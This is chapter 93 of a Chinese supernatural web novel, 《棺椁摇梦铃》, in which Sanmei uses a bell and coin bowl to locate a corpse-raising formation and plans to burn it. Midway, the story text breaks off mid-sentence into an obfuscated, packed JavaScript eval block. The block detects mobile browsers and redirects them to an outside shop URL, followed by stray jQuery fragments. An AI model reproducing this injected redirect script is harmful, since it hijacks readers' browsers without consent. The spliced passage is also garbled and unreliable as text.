93. 第 93 章
作品:《棺椁摇梦铃》 三枚轻装上阵,左手提着紫铜色的小铃铛,右手托着她的破瓷碗,从小土坡上一跃而下。
全身充满干劲的陆衎,第一次将五铢钱从腕上的红绳解下,拿在手中,刷刷地在卷轴上画了起来。
趁着三枚还未走近养尸地的间隙,他眼疾手快,一气呵成,须臾就将诡异非常的猫形地,精细入微地画在了卷轴上。
不管是那猫形地上,疑似在瘦长的脊背上,开了条瘦长而狭窄的路,还是路的下方,堆在形似窝巢旁边的石头,他都仔仔细细地画了出来。
甚至还在石头上的斑纹,和斑纹中间,都分别贴心地注明了绿色和白色。
陆衎画画的功夫,三枚也在不断地靠近养尸地。
她走动的路线,并非笔直,而是非常地没有规律。
几乎每走一步,三枚都会停顿一下,双眼则十分谨慎地观察着周围浮动的雾芒。
只要雾芒浮动的幅度稍微大一点,她便立即拐弯,转换方位。
从小土坡到养尸地,不长不短的一段距离,她走了足足有半刻钟之久。
站在养尸地的东方位上,三枚突然在心里感慨了一声:“还是想活的啊。”
东方位,象征着鸟语花香、绿芽出新的春天,犹如太阳升起的清晨,充满了积极的朝气和旺盛的活力。
新生命,阳光伊始,一切事物重新起源的地方。
尽管十分微弱,但三枚清楚地感受到,这片土地,向她发出求救的信号。
也是,谁的生命都是弥足珍贵的,即使自己的血脉生机被残忍地剥削得所剩无几,也不妨碍众生求生的本能。
三枚将手中的破瓷碗轻轻地放到了正东的方位上,左手提着的小铃铛一晃。
铃铛里的金属丸子互相撞击,却并未发出任何的声音。
须臾,她将腕上的五铢钱,顺时针沿着碗沿转了一圈,最后轻轻地丢进了破瓷碗里。
“当啷”一声脆响,轻扬而悠长。
三枚抿了抿唇,重新把破瓷碗托在右手掌心,忽而弯腰,对着前方,虔诚而恭敬地鞠了一躬,“在下序三,打扰了。”
轻声道完,她才终于迈步,走进了养尸地。
——
一走进养尸地,一股阴寒之气,瞬间自脚底板呼呼往身体里窜,三枚忍不住打了一个寒颤。
伴随着阴寒之气而来的,还有徐徐拂面的邪风,擦过人的脸颊,湿冷湿冷的。
养尸地界,几乎没有一点生气,阴风阵阵,连续不断,周围的雾气却一动不动,死气沉沉。
三枚很谨慎,先是安静地站在原地,对着四周环顾一圈,接着将紫铜色的小铃铛高举过头顶,再轻轻地晃了晃。
铃铛里头的小小金属丸子互相撞击了几下,仍旧没有发出响声,三枚却不急也不躁。
她举着铃铛的手腕轻摇不停,直到从她的来时路上,如柳絮一般缓缓地飘来白绒绒的烟丝,慢慢地附着到了铃铛上。
眼见那柳絮般的烟丝,全都稳定了下来之后,三枚才停止了摇铃的动作。
铃铛引入生气,原本感到有些凝滞的呼吸,终于顺畅了起来。
三枚深深地呼吸了一大口气,极缓极慢地从口中吐出,简单的一呼一吸间,方才涌进她身体里的寒颤,慢慢被从逼退了出去。
过了一会儿,她的体温慢慢地恢复了正常。
“现在,让我们一起来找找看吧,所谓的极阴之界,到底藏在哪里了。”
与之前在养尸地外一走一停顿不同,三枚就站在原地不动,铃铛仍旧高举过头顶,但这次她手里摇晃的,却是安静躺在右手破瓷碗里的五铢钱。
三枚托着瓷碗的手只晃了一下,便停了下来,然而五铢钱却在碗里转个不停,而且越转越快,越转幅度越大。
她聚精会神,杏眸一直盯着两枚铢钱看,耐心地等待着。
过了好一会儿,碗里才传来一声清脆的响声。
“当啷。”
一大一小的两枚铢钱,忽而叠加在了一起,在瓷碗的正中心停顿了一会儿,就又继续转动了起来。
三枚这时候准备开始走动了,只见她脚尖点地,轻轻转动了下脚腕,深呼吸了一口气,便顺着铢钱指引的方向快速地疾走了起来。
“首先西北方,”她的脚程很快,沿着西北方向,三步并作一步走,这时破瓷碗又响起了“当啷”声,眼睛向下一瞥,她立马又换了个方向,“正西方位。”
“当啷!”
“正南方位。”
“当啷!”
“正东方位。”
......
接下来的半刻钟,“当啷”声一响,三枚便转换方向,若是一直没有声音,她便一直笔直往前走,直到下一声脆响响起。
她疾走的速度越来越快,一刻不停,面色从容,嘴里一直念叨着方位词。
“东南方、正北、东北,最后是——”三枚脚下忽而一顿,停在了西南方位上。
她杏眸一瞪,倏而回头一望,心里飞快地数着,“天水山雷,风火地泽,全齐活了。”
“口”字回形阵!
结界的阵眼就在中心的位置。
再回首,三枚看向推算出来的阵眼位置,果然阴气最盛,而且上方居然隐隐约约浮动着一缕太阳光。
这样的深渊之下,这缕阳光,是从哪里投射下来的?
三枚的视线追着光晕里轻微浮动的微尘,慢慢往上眺望。
忽而一阵阴风吹来,将缭绕在空中的浓雾驱散。
于是,她便看见了消失许久的木清梅,正倚靠在木府云阁里的栏杆上,嬉笑着朝自己招手。
一如先前,三枚在黑山寨外的破庙里做的幻梦一般,而此时木清梅的红唇张张合合,能清晰地发出声音了。
“终于找到了呢。”她的声音娇娇柔柔,“我在这儿,等了你好久、好久了呢。”
这次换三枚默不作声了,她拧着眉头观察了好一会儿,一直高抬铃铛的手臂,缓慢地垂到了身侧。
长期受到关照的地方,明明乃极阳之地,如今却成了滋养阴尸的极凶墓穴。
木清梅,你身在局中,又扮演着怎样的角色?
——
“很棘手吗?”
陆衎见三枚什么都没做,很快原路返回。
此时她神色有些愁闷,坐在小山坡上,眼睛盯着远处那个养尸地,手里不停地颠着破瓷碗。
五铢钱在碗底被颠得上上下下,却是一点声音都没有。
“还行吧。”过了一会儿,三枚开口说道。
手肘杵着膝盖,掌心托着下巴,她轻轻地叹了口气,“养尸地已基本养成了,古井村的那些村民,尽管还有气在,但也不能留了。”
原本三枚想着,即使希望渺茫,但能救一个算一个吧,但是没办法了。
那些幽冥已经回到了自己的身体里,被活埋在地下的古井村民们,就要被炼成行尸走肉、没有自我意识的活死人了。
“马大旺一家呢?”陆衎沉声问道。
三枚摇头:“迟了。”
“黑渊,是真正的、世间难得一遇的风水宝地,地下能源源不断氤氲出稀有的灵气和无限的生气。”
她举起手中的铃铛,示意陆衎去看附着在铃铛上面的棉絮一般的白绒雾团。
“就这么薄薄的一层,不仅帮我抵抗掉了养尸地里,企图侵蚀我阳寿的阴邪之气,”她抓着陆衎的手,“感受到了吗?我说过我体质向来寒凉,手脚无论四季,总是又冰又凉。”
陆衎握着三枚温热而柔软的小手,听她声音清脆地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725809|133884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“不仅体质,我身上大大小小的陈年旧疾,基本都被治愈了。”
“这样神奇的一块地,想要被蚕食殆尽所有的灵气生源,绝对不是区区古井村的七百活死人,就能做到的。”
三枚拧眉,看着陆衎的神情十分严肃认真:“我姑且大胆猜测,在这个养尸地里,炼制成功的活死人,至少数以万计。”
“那么,这些数以万计的活死人,被转移到了哪里呢?是为何用?”
藏在阴暗角落、隐秘施加邪术的幕后主谋,是谁?他现在在哪里?谋划这些,目的又是什么?
三枚声音又轻又缓,接二连三的问题,将陆衎都给问懵了。
数以万计这样的计数方式,只有在大战或者统计战死沙场的将士兵卒,才会用到的词眼,居然被用在了这里。
陆衎感到有些冲击,望着那块闪着阴森诡异光线的养尸地,三枚的问题一直在他的脑子里循环响起。
有一瞬间,他感觉自己的脑子成了一团浆糊,三枚的问题一下又一下地砸在他的头上,令他一时有些无言以对。
“活死人是什么东西,你知道吗?”陆衎终于找回了自己的声音。
“顾名思义,活死人,既非活人亦非死人。”三枚轻声道,“我也只是在书上看见过记载。”
“据说他们是一群丧失理智、却穷凶极恶的一种生命体,有着超出常人的力量,爆发性强,攻击性十分强烈,喜欢成群结队,吞食活人或其他动物的血肉。”
“更重要的是,”三枚的声音越来越低,脸上神情愈加凝重,她看着陆衎的眼睛,一字一顿地道:“他们更像是一种瘟疫,会接连不断的传染给其他人。”
陆衎:“瘟疫?是被他们接触到,就会被传染吗?”
“这个书上没说。”三枚摇头,将目光重新投射到养尸地上,“但我觉得没那么简单。”
阴地还为养成,即使活死人炼成,估计威力也大打折扣。
否则,施加邪术的背后之人,就不用一直大费周章,一直在这里重复炼尸了。
陆衎觉得有些头痛,按着青筋直跳的额头,问道:“那书上,有记载这些活死人的弱点吗?”
总不至于成为不死不伤的铜墙铁壁了吧?
“确实有弱点。”三枚这次没有让他失望。
陆衎眼前一亮,追问道:“是什么?”
三枚杏眸眨了又眨,脆生生地道:“书上只说了它有个致命的弱点,但具体是什么,没写!”
陆衎:......什么人写的破书,如此之任性!
“阿嚏!”远在千里之外的序莽,打了个震天响的打喷嚏,“糟糕,莫不是要着凉?”吓得他赶紧在盛夏的天,给自己添置了一件外裳。
见陆衎眉头都皱成了个疙瘩,俊俏的美人脸,一副心事重重的忧愁模样,三枚忽而大腿一拍。
“看来,若是想要找到问题的答案,揪出幕后之人”她一边若有所思地挠着下巴,一边皱着小脸,“那个神秘的古井村,势必是要走上那么一遭了。”
陆衎心里有些不愿意,不希望三枚冒险,但他这次学乖了,最后却什么话都没说。
三枚见陆衎对自己的话没有反对,轻轻挑了挑眉,“但在那之前,我觉得我有必要,再到那黑山寨一趟。”
白老太一定还藏着秘密,没有跟自己讲清楚。
木清梅和黑渊,以及这个养尸地,肯定存在着什么联系,她得弄清楚了才放心。
“然而现在当务之急的是,”三枚小手一抬,对着已经开始呼呼往上冒白烟的养尸地,轻轻一指,“趁着天黑之前,得把这儿的麻烦,给解决了。”
陆衎:“怎么解决?”
“简单。”三枚勾唇一笑。
“放火,让它焚化自救,回归伊始!”